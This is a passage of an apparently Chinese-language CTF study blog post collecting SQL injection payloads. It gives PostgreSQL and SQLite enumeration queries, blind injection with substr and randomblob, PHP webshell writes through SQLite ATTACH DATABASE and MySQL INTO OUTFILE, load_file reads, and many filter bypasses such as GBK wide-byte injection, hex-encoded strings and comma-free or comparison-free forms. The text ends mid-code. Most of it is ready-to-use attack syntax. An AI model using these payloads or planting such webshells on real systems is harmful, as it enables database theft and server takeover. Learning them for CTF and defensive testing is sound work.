数据库列表。</p></li><li><p><strong><code>pg_tables</code></strong>: 表列表。</p></li><li><p><strong><code>information_schema</code></strong>: PGSQL 也完全支持 ANSI 标准的 information_schema。</p></li></ul><h5 id="4-2-Payload"><a href="#4-2-Payload" class="headerlink" title="4.2 Payload"></a>4.2 Payload</h5><p>PGSQL 的聚合函数是 <code>string_agg</code>。</p><p><strong>A. 爆所有数据库名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, string_agg(datname, &#x27;,&#x27;), 3 FROM pg_database</span><br></pre></td></tr></table></figure><p><strong>B. 爆当前 Schema (public) 的所有表名</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, string_agg(tablename, &#x27;,&#x27;), 3 </span><br><span class="line">FROM pg_tables </span><br><span class="line">WHERE schemaname=&#x27;public&#x27;</span><br></pre></td></tr></table></figure><p><strong>C. 爆列名 (使用 information_schema)</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">UNION SELECT 1, string_agg(column_name, &#x27;,&#x27;), 3 </span><br><span class="line">FROM information_schema.columns </span><br><span class="line">WHERE table_name=&#x27;users&#x27;</span><br></pre></td></tr></table></figure><h4 id="5-SQLite"><a href="#5-SQLite" class="headerlink" title="5. SQLite"></a>5. SQLite</h4><p>着重学习这个 基本在ctf里面遇到的全是这个 Python Web的常客 而且与前面的不同是别的数据库你得查表名、再查列名<br>SQLite 只要查一张表</p><h5 id="一-系统表架构"><a href="#一-系统表架构" class="headerlink" title="一. 系统表架构"></a>一. 系统表架构</h5><p>SQLite 没有复杂的 <code>information_schema</code> 库，它所有的元数据都存储在一个名为 <strong><code>sqlite_master</code></strong> 的隐藏表中（在临时数据库中叫 <code>sqlite_temp_master</code>）</p><ol><li><code>sqlite_master</code> 表结构<br><img src="/images/80.png"></li><li>其他辅助系统表</li></ol><ul><li><strong><code>sqlite_sequence</code></strong>: 如果表中使用了 <code>AUTOINCREMENT</code> 自增主键，系统会自动创建这张表来记录当前序号。可以通过判断这张表是否存在来辅助识别 SQLite。<br>记一下关键字<br><img src="/images/81.png"></li></ul><h5 id="二-Payload"><a href="#二-Payload" class="headerlink" title="二. Payload"></a>二. Payload</h5><ol><li>有回显注入<br>不需要像 MySQL 那样先查 <code>tables</code> 再查 <code>columns</code>。直接查 <code>sqlite_master</code> 的 <code>sql</code> 字段 类似<br><code>UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type=&#39;table&#39;</code><br>回显是直接给里面所有类型的数据 之前打一个国外的ctf题遇见过 当时没总结 取数据也如下<br><code>UNION SELECT 1, group_concat(secret_flag), 3 FROM users</code></li><li>布尔盲注<br>当没有回显时，利用 <code>substr</code> 和 <code>length</code> 进行逐字猜解<br>类似 长度<br><code>AND length((SELECT name FROM sqlite_master WHERE type=&#39;table&#39; LIMIT 1)) &gt; 5</code><br>字符<br><code>AND substr((SELECT name FROM sqlite_master WHERE type=&#39;table&#39; LIMIT 1), 1, 1) = &#39;u&#39;</code></li><li>时间盲注<br>SQLite <strong>没有</strong> <code>sleep()</code> 函数<br>就用最开始上面说的randomblob() 生成一个巨大的随机二进制大对象，并用 <code>hex</code> 处理 造成卡顿</li><li>写 WebShell 没试验过 条件比较苛刻 看看这个假期出个这样的题（主要依赖**<code>ATTACH</code>** 机制进行写文件操作 <code>ATTACH</code> 的本质是：在不关闭当前连接的情况下，将另一个外部文件的句柄“挂载”到当前的数据库连接会话中）<br>条件是</li></ol><ul><li><strong>堆叠注入 (Stacked Queries)</strong>：必须支持多条语句执行（即允许分号 <code>;</code>）</li><li>数据库运行进程对 Web 目录有写入权限<br>执行方式是 利用 <code>ATTACH DATABASE</code> 命令，将一个 PHP 文件当做“数据库”连接进来，然后创建一个表，把 PHP 代码当做数据写入表里，最后 PHP 解析器解析该文件时执行代码<br>最基础payload</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27;; ATTACH DATABASE &#x27;/var/www/html/shell.php&#x27; AS a; CREATE TABLE a.c (d text); INSERT INTO a.c (d) VALUES (&#x27;&lt;?php eval($_POST[1]);?&gt;&#x27;); --</span><br></pre></td></tr></table></figure><p>语法很基础 但是局限性很强 满足的条件太苛刻了 我看看尽量把出题的方向往<code>ATTACH</code>的跨库窃取数据方向靠 ATTACH还是太妙了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">ATTACH DATABASE &#x27;/var/data/admin_secret.db&#x27; AS target;</span><br><span class="line"></span><br><span class="line">UNION SELECT 1, password, 3 FROM target.admin_table;</span><br></pre></td></tr></table></figure><p>前提是知道路径 构思一下怎么出题吧</p><h2 id="SQL补课"><a href="#SQL补课" class="headerlink" title="SQL补课"></a>SQL补课</h2><h3 id="读写文件"><a href="#读写文件" class="headerlink" title="读写文件"></a>读写文件</h3><ol><li>读文件用<code>load_file()</code>函数(读取文件依赖于my.ini配置文件里的<code>secure-file-priv</code>如果<code>secure-file-priv</code>为空的话，就可以读取外部任意文件。默认只可以读取MySQL&#x2F;MySQL Server 8.0&#x2F;Uploads”里的。)<br>&#96;select load_file(“D:\MySQL\MySQL Server 8.0\Uploads\flag.txt”) as file_content;</li><li>写文件用<code>into outfile</code></li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">select 1,&#x27;&lt;?php @eval($_POST[cmd]);phpinfo();?&gt;&#x27;,3 into outfile &quot;/var/www/html/shell.php&quot;</span><br><span class="line">或者</span><br><span class="line">select 1,load_file(&quot;/var/www/html/flag.txt&quot;),3 into outfile &quot;/var/www/html/shell.php&quot;</span><br><span class="line">这样可以达到修改文件后缀的效果，当成php解析</span><br><span class="line">也可以</span><br><span class="line">?id=1&#x27; union select 1,“”,3 into dumpfile ‘C:\phpstudy\WWW\sqli\shell.php&#x27;# </span><br><span class="line">outfile可以写入多行数据，并且字段和行终止符都可以作为格式输出。  </span><br><span class="line">dumpfile只能写一行，并且输出中不存在任何格式。</span><br></pre></td></tr></table></figure><p>在多多阅读相关文章后 我发现信神很全面了 好好阅读了 下面cv了信的博客</p><h3 id="常见绕过替代"><a href="#常见绕过替代" class="headerlink" title="常见绕过替代"></a>常见绕过替代</h3><h4 id="空格"><a href="#空格" class="headerlink" title="空格"></a>空格</h4><ol><li>可以使用括号包裹</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata);</span><br></pre></td></tr></table></figure><p>这个我容易把自己绕晕 所以在做极客和之前一个过滤空格都是用下面的 比较有逻辑<br>2. 内联注释<code>/**/</code>可以代替空格</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata;</span><br></pre></td></tr></table></figure><ol start="3"><li>符号代替空格的方式(urlencode)：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">%0D Carriage Return，回车 代替空格  </span><br><span class="line">%0A Line Feed，换行 代替空格  </span><br><span class="line">%0C Form Feed，换页 代替空格  </span><br><span class="line">%09 Horizontal Tab，水平制表 代替空格  </span><br><span class="line">%0B Vertical Tab，垂直制表 代替空格  </span><br><span class="line">%A0 Non-breaking space (MySQL only)，不间断空格 代替空格</span><br></pre></td></tr></table></figure><ol start="4"><li>使用反引号包裹变量名</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`;</span><br></pre></td></tr></table></figure><h4 id="引号"><a href="#引号" class="headerlink" title="引号"></a>引号</h4><h5 id="一、宽字节注入（GBK-双字节字符集绕过）"><a href="#一、宽字节注入（GBK-双字节字符集绕过）" class="headerlink" title="一、宽字节注入（GBK&#x2F;双字节字符集绕过）"></a>一、宽字节注入（GBK&#x2F;双字节字符集绕过）</h5><h6 id="1-产生条件"><a href="#1-产生条件" class="headerlink" title="1. 产生条件"></a>1. 产生条件</h6><ul><li><p>PHP 配置中 <code>magic_quotes_gpc = On</code> 或程序对单引号转义</p></li><li><p>数据库连接使用 <strong>GBK、BIG5</strong> 等多字节字符集</p></li><li><p>单引号 <code>&#39;</code> 被转义为 <code>\&#39;</code>（<code>%5C%27</code>）</p></li></ul><h6 id="2-核心原理"><a href="#2-核心原理" class="headerlink" title="2. 核心原理"></a>2. 核心原理</h6><p>在 GBK 等双字节字符集中，一个汉字占 2 个字节。反斜杠 <code>\</code> 的 ASCII 码 <code>0x5C</code> 正好在某些中文字符的第二个字节范围内。</p><p><strong>关键过程：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">原始输入：id=1&#x27;</span><br><span class="line">转义后：  id=1\&#x27;</span><br><span class="line">URL编码： id=1%5C%27</span><br><span class="line"></span><br><span class="line">加入宽字节：id=1%df&#x27;</span><br><span class="line">转义后：  id=1%df%5C%27</span><br><span class="line">GBK解码：  %df%5C → &quot;運&quot;（一个汉字）</span><br><span class="line">剩余：     %27 → &#x27;</span><br></pre></td></tr></table></figure><p><code>\</code> 被合并到前一个字节组成汉字，单引号重新暴露。</p><h6 id="3-可用组合"><a href="#3-可用组合" class="headerlink" title="3. 可用组合"></a>3. 可用组合</h6><ul><li><p><code>%df%5C</code> → 運</p></li><li><p><code>%bf%5C</code> → 縗</p></li><li><p><code>%aa%5C</code> → 需验证字符集支持</p></li><li><p>范围：首字节 <code>0x81–0xFE</code> + 尾字节 <code>0x40–0xFE</code>（包含 <code>0x5C</code>）</p></li></ul><h6 id="4-示例攻击"><a href="#4-示例攻击" class="headerlink" title="4. 示例攻击"></a>4. 示例攻击</h6><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">-- 正常查询</span><br><span class="line">SELECT * FROM users WHERE id=&#x27;1&#x27;</span><br><span class="line"></span><br><span class="line">-- 转义后</span><br><span class="line">SELECT * FROM users WHERE id=&#x27;1\&#x27;&#x27;</span><br><span class="line"></span><br><span class="line">-- 宽字节注入后</span><br><span class="line">SELECT * FROM users WHERE id=&#x27;1運&#x27; union select 1,2,3 -- &#x27;</span><br></pre></td></tr></table></figure><p><strong>Payload：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">id=1%df&#x27; union select 1,2,3 -- </span><br></pre></td></tr></table></figure><hr><h5 id="二、反斜杠转义导致的注入"><a href="#二、反斜杠转义导致的注入" class="headerlink" title="二、反斜杠转义导致的注入"></a>二、反斜杠转义导致的注入</h5><h6 id="1-场景"><a href="#1-场景" class="headerlink" title="1. 场景"></a>1. 场景</h6><p>多参数查询中，第一个参数的转义影响第二个参数的解析。</p><h6 id="2-示例"><a href="#2-示例" class="headerlink" title="2. 示例"></a>2. 示例</h6><p>原始 SQL：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT username FROM users WHERE id=&#x27;$id&#x27; AND passwd=&#x27;$passwd&#x27;</span><br></pre></td></tr></table></figure><p><strong>攻击输入：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">id=1\</span><br><span class="line">passwd=UNION SELECT 1,2,3--</span><br></pre></td></tr></table></figure><p><strong>生成 SQL：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT username FROM users WHERE id=&#x27;1\&#x27; AND passwd=&#x27; UNION SELECT 1,2,3--&#x27;</span><br></pre></td></tr></table></figure><h6 id="3-解析过程"><a href="#3-解析过程" class="headerlink" title="3. 解析过程"></a>3. 解析过程</h6><ol><li><p><code>id</code> 值为 <code>1\</code>（末尾有反斜杠）</p></li><li><p>在 SQL 中 <code>\&#39;</code> 被转义为单引号字符（字面量）</p></li><li><p>实际解析为：<code>id=&#39;1\&#39; AND passwd=&#39;</code> 作为整个字符串</p></li><li><p><code>UNION SELECT 1,2,3--</code> 成为 SQL 代码执行</p></li></ol><p>这个原理很妙的 感觉有一种自己杀自己的感觉</p><h5 id="三、十六进制编码绕过引号"><a href="#三、十六进制编码绕过引号" class="headerlink" title="三、十六进制编码绕过引号"></a>三、十六进制编码绕过引号</h5><h6 id="1-原理"><a href="#1-原理" class="headerlink" title="1. 原理"></a>1. 原理</h6><p>MySQL 支持十六进制字符串表示：</p><ul><li><p><code>0x61646D696E</code> &#x3D; ‘admin’</p></li><li><p><code>X&#39;61646D696E&#39;</code> &#x3D; ‘admin’</p></li></ul><h6 id="2-转换方法"><a href="#2-转换方法" class="headerlink" title="2. 转换方法"></a>2. 转换方法</h6><p><strong>Python 转换示例：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">text = &quot;admin&quot;</span><br><span class="line">hex_str = &quot;0x&quot; + text.encode().hex()  # 0x61646D696E</span><br></pre></td></tr></table></figure><p><strong>常用值：</strong></p><ul><li><p><code>database()</code> → 可先查出库名再转换</p></li><li><p>字符串值都可用十六进制替代</p></li></ul><h6 id="3-注入应用"><a href="#3-注入应用" class="headerlink" title="3. 注入应用"></a>3. 注入应用</h6><p><strong>原 Payload：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#x27; union select 1,table_name from information_schema.tables where table_schema=database() -- </span><br></pre></td></tr></table></figure><p><strong>绕过后：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">&#x27; union select 1,table_name from information_schema.tables where table_schema=0x746573746462 -- </span><br></pre></td></tr></table></figure><p><strong>CHAR() 函数替代：</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">&#x27; union select 1,table_name from information_schema.tables where table_schema=CHAR(116,101,115,116,100,98) --</span><br></pre></td></tr></table></figure><h4 id="过滤逗号"><a href="#过滤逗号" class="headerlink" title="过滤逗号"></a>过滤逗号</h4><p>使用join</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1&#x27;union select 1,2,3--+ </span><br></pre></td></tr></table></figure><p>可以写成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1&#x27;union (select * from(select 1)a join (select 2)b join (select 3)c)--+</span><br></pre></td></tr></table></figure><p>盲注常用的 <code>substring()</code> <code>substr()</code> <code>mid()</code> 中,<br>会用到逗号 可以使用 from for 代替:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">SELECT SUBSTRING(DATABASE() FROM 1 FOR 1);  </span><br><span class="line">SELECT SUBSTR(DATABASE() FROM 1 FOR 1);  </span><br><span class="line">SELECT MID(DATABASE() FROM 1 FOR 1);</span><br></pre></td></tr></table></figure><p>limit语法也要用到逗号,可以用offset代替</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">SELECT * FROM users LIMIT 1 OFFSET 0;</span><br><span class="line">同</span><br><span class="line">SELECT * FROM users LIMIT 0,1;</span><br></pre></td></tr></table></figure><p>盲注中也可以使用模糊查询的方法来避免使用逗号:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">SELECT DATABASE() LIKE &#x27;s%&#x27;</span><br><span class="line">-- 可以用来检查数据库名是否以&#x27;s&#x27;开头</span><br><span class="line">-- 类似效果的检查还有：</span><br><span class="line">-- SELECT SUBSTRING(DATABASE(), 1, 1) = &#x27;s&#x27;</span><br><span class="line">-- SELECT ASCII(SUBSTRING(DATABASE(), 1, 1)) = 115</span><br><span class="line">s% 是一个模式字符串，其中 % 是通配符</span><br><span class="line">% 表示任意数量的字符（包括零个字符）</span><br><span class="line">s% 匹配所有以 s 开头的字符串，不论其后有多少字符</span><br><span class="line">*/</span><br><span class="line">这样就可以一个一个字母试了</span><br></pre></td></tr></table></figure><p>LIKE 支持以下通配符：</p><ul><li>%：匹配零个或多个字符。</li><li><code>_</code>：匹配单个字符。</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">LIKE &#x27;u%&#x27;：匹配以 u 开头的所有字符串。  </span><br><span class="line">LIKE &#x27;%123&#x27;：匹配以 123 结尾的所有字符串。  </span><br><span class="line">LIKE &#x27;_b%&#x27;：匹配第二个字符是 b 的所有字符串（如 ab123、cb_test）。  </span><br><span class="line">LIKE &#x27;t__t&#x27;：匹配 t 开头、接两个字符、然后是 t 的字符串（如 test）</span><br></pre></td></tr></table></figure><h4 id="过滤比较符"><a href="#过滤比较符" class="headerlink" title="过滤比较符"></a>过滤比较符</h4><p>过滤<code>&gt;</code>和<code>&lt;</code>时<code>=</code>，可以使用<code>greatest()</code>和<code>least()</code>函数。 当然<code>=</code> 分别返回最大值和最小值</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">select greatest(1,2,3,5,7,9);</span><br><span class="line">返回9</span><br><span class="line">select least(1,2,3,5,7,9);</span><br><span class="line">返回1</span><br></pre></td></tr></table></figure><p>也可以直接用<code>like</code>代替<br>– 检查是否等于’s’</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">DATABASE() LIKE &#x27;s%&#x27; AND DATABASE() NOT LIKE &#x27;t%&#x27;  -- 以s开头且不以t开头</span><br><span class="line">SUBSTR(DATABASE(),1,1) LIKE &#x27;s&#x27;                    -- 直接匹配单个字符</span><br><span class="line"></span><br><span class="line">-- 在注入中</span><br><span class="line">&#x27; OR SUBSTR(DATABASE(),1,1) LIKE &#x27;s&#x27; --</span><br></pre></td></tr></table></figure><p>也可以用<code>between a and b</code>表示在a和b之间。 例如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1&#x27; or substr((select database()),1,1) between &#x27;r&#x27; and &#x27;t&#x27;--+</span><br></pre></td></tr></table></figure><p>利用between也可以绕过等号</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">-1&#x27; or substr((select database()),1,1) between &#x27;s&#x27; and &#x27;s&#x27;--+</span><br><span class="line">等价于</span><br><span class="line">-1&#x27; or substr((select database()),1,1)=&#x27;s&#x27;--+</span><br></pre></td></tr></table></figure><p>用<code>rlike</code>判断某个字段的值是否匹配指定的正则表达式，<br>它是<code>regexp</code>的同义词<br>用<code>regexp</code>匹配字符串中是否包含符合正则规则的部分,<br>默认不区分大小写, 如果需要区分，可以使用<code>binary</code>:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 精确匹配单个字符&#x27;s&#x27;</span></span><br><span class="line">SUBSTR(DATABASE(),<span class="number">1</span>,<span class="number">1</span>) REGEXP <span class="string">&#x27;^s$&#x27;</span>        <span class="comment">-- 以s开始并以s结束（单个字符）</span></span><br><span class="line">DATABASE() REGEXP <span class="string">&#x27;^s&#x27;</span>                     <span class="comment">-- 以s开头</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 匹配特定ASCII值（通过字符集）</span></span><br><span class="line">SUBSTR(DATABASE(),<span class="number">1</span>,<span class="number">1</span>) REGEXP <span class="type">BINARY</span> <span class="string">&#x27;[\x73]&#x27;</span>  <span class="comment">-- 16进制73 = &#x27;s&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 在注入中</span></span><br><span class="line"><span class="string">&#x27; OR SUBSTR(DATABASE(),1,1) REGEXP &#x27;</span><span class="operator">^</span>s$<span class="string">&#x27; --</span></span><br></pre></td></tr></table></figure><p>函数<code>strcmp(str1,str2)</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">str1 = str2 -&gt; 0</span><br><span class="line">str1 &lt; str2 -&gt; -1</span><br><span class="line">str1 &gt; str2 -&gt; 1</span><br></pre></td></tr></table></figure><p>可以用<code>in</code>语法。 用于判断某个值是否在指定集合中的条件操作符:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">-- 检查是否在集合中</span><br><span class="line">SUBSTR(DATABASE(),1,1) IN (&#x27;s&#x27;)             -- 单个元素集合</span><br><span class="line">ASCII(SUBSTR(DATABASE(),1,1)) IN (115)      -- 检查ASCII值</span><br><span class="line"></span><br><span class="line">-- 在注入中</span><br><span class="line">&#x27; OR SUBSTR(DATABASE(),1,1) IN (&#x27;s&#x27;) --</span><br><span class="line">&#x27; OR ASCII(SUBSTR(DATABASE(),1,1)) IN (115) --</span><br></pre></td></tr></table></figure><p>INSTR()<code>/</code>LOCATE()<code>/</code>POSITION()</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">-- 检查是否包含（位置为1表示开头）</span><br><span class="line">INSTR(DATABASE(), &#x27;s&#x27;)                      -- 返回位置，0表示不存在</span><br><span class="line">LOCATE(&#x27;s&#x27;, DATABASE())                     -- 同上</span><br><span class="line">POSITION(&#x27;s&#x27; IN DATABASE())                 -- 同上</span><br><span class="line"></span><br><span class="line">-- 在注入中（使用双重否定）</span><br><span class="line">&#x27; OR INSTR(SUBSTR(DATABASE(),1,1), &#x27;s&#x27;) --</span><br><span class="line">&#x27; OR LOCATE(&#x27;s&#x27;, SUBSTR(DATABASE(),1,1)) --</span><br></pre></td></tr></table></figure><p>STRCMP() 的布尔化</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">-- STRCMP返回-1,0,1，需要转换为布尔值</span><br><span class="line">NOT STRCMP(SUBSTR(DATABASE(),1,1), &#x27;s&#x27;)     -- 返回1（真）当相等</span><br><span class="line"></span><br><span class="line">-- 因为STRCMP相等时返回0，NOT 0 = 1</span><br><span class="line">&#x27; OR NOT STRCMP(SUBSTR(DATABASE(),1,1), &#x27;s&#x27;) --</span><br></pre></td></tr></table></figure><p>用<code>&lt;&gt;</code>表示不等于</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SELECT ASCII(SUBSTRING(DATABASE(), 1, 1))&lt;&gt;114;</span><br></pre></td></tr></table></figure><h4 id="过滤逻辑运算符"><a href="#过滤逻辑运算符" class="headerlink" title="过滤逻辑运算符"></a>过滤逻辑运算符</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">and &amp;&amp;</span><br><span class="line">or ||</span><br><span class="line">not !</span><br><span class="line">xor |</span><br></pre></td></tr></table></figure><h4 id="过滤if"><a href="#过滤if" class="headerlink" title="过滤if"></a>过滤if</h4><p>逻辑中断<code>or ||</code> 只需一个表达式为真，整个表达式就为真。<br>那么很多时候程序只判断到前一个表达式为真时，<br>就忽略后一个表达式不执行，<code>MySQL</code>就具备这个特性。<br>可以利用它达到条件判断的效果:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 假设 database 为 &quot;security&quot;  </span></span><br><span class="line"><span class="comment">-- 它不会执行 SLEEP，因为前一个表达式为真  </span></span><br><span class="line"><span class="keyword">SELECT</span> ASCII(<span class="built_in">SUBSTRING</span>(DATABASE(), <span class="number">1</span>, <span class="number">1</span>))<span class="operator">=</span><span class="number">115</span> <span class="operator">||</span> SLEEP(<span class="number">1</span>);  </span><br><span class="line">  </span><br><span class="line"><span class="comment">-- 它会执行 SLEEP，因为前一个表达式为假，程序还需要判断后一个表达式才能确定整个表达式的值  </span></span><br><span class="line"><span class="keyword">SELECT</span> ASCII(<span class="built_in">SUBSTRING</span>(DATABASE(), <span class="number">1</span>, <span class="number">1</span>))<span class="operator">=</span><span class="number">114</span> <span class="operator">||</span> SLEEP(<span class="number">1</span>);</span><br></pre></td></tr></table></figure><p>使用<code>locate(str1,str2)</code> 比较输入的两个字符串， 第一个参数是参照物，第二个参数是参照对象，<br>该函数会判断参照对象中是否含有参照物，<br>若不含有，则返回 0；<br>若含有，则返回该参照物在参照对象中的位置</p><p> <code>CASE WHEN</code> 的更多用法</p><ol><li>复杂条件判断</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">-- 多条件嵌套</span><br><span class="line">SELECT CASE </span><br><span class="line">    WHEN ASCII(SUBSTR(DATABASE(),1,1)) BETWEEN 97 AND 122 THEN &#x27;lower&#x27;</span><br><span class="line">    WHEN ASCII(SUBSTR(DATABASE(),1,1)) BETWEEN 65 AND 90 THEN &#x27;upper&#x27;</span><br><span class="line">    ELSE &#x27;other&#x27;</span><br><span class="line">END;</span><br><span class="line"></span><br><span class="line">-- 在注入中</span><br><span class="line">&#x27; OR (CASE WHEN ASCII(SUBSTR(DATABASE(),1,1))=115 THEN 1 ELSE 0 END)=1 --</span><br></pre></td></tr></table></figure><ol start="2"><li>结合子查询</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">-- 判断表是否存在</span><br><span class="line">SELECT CASE WHEN EXISTS(</span><br><span class="line">    SELECT * FROM information_schema.tables </span><br><span class="line">    WHERE table_schema=DATABASE() AND table_name=&#x27;users&#x27;</span><br><span class="line">) THEN 1 ELSE 0 END;</span><br><span class="line"></span><br><span class="line">-- 判断列是否存在</span><br><span class="line">&#x27; OR (CASE WHEN EXISTS(</span><br><span class="line">    SELECT * FROM information_schema.columns </span><br><span class="line">    WHERE table_name=&#x27;users&#x27; AND column_name=&#x27;password&#x27;</span><br><span class="line">) THEN 1 ELSE 0 END)=1 --</span><br></pre></td></tr></table></figure><p>用<code>elt(N, str1, str2, ..., strN)</code><br>从一个字符串列表中返回对应位置的字符串<br>假设有一张表 my_table，<br>包含字段 id 和 category，<br>我们希望根据 category 的值返回对应字符串：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span 